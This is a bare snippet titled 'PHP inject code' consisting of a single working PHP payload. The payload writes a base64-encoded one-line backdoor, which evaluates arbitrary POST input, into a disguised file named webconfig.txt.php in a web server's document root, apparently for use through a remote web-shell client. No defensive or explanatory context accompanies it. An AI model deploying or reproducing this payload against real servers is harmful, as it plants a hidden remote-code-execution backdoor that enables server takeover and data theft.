PHP inject code

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';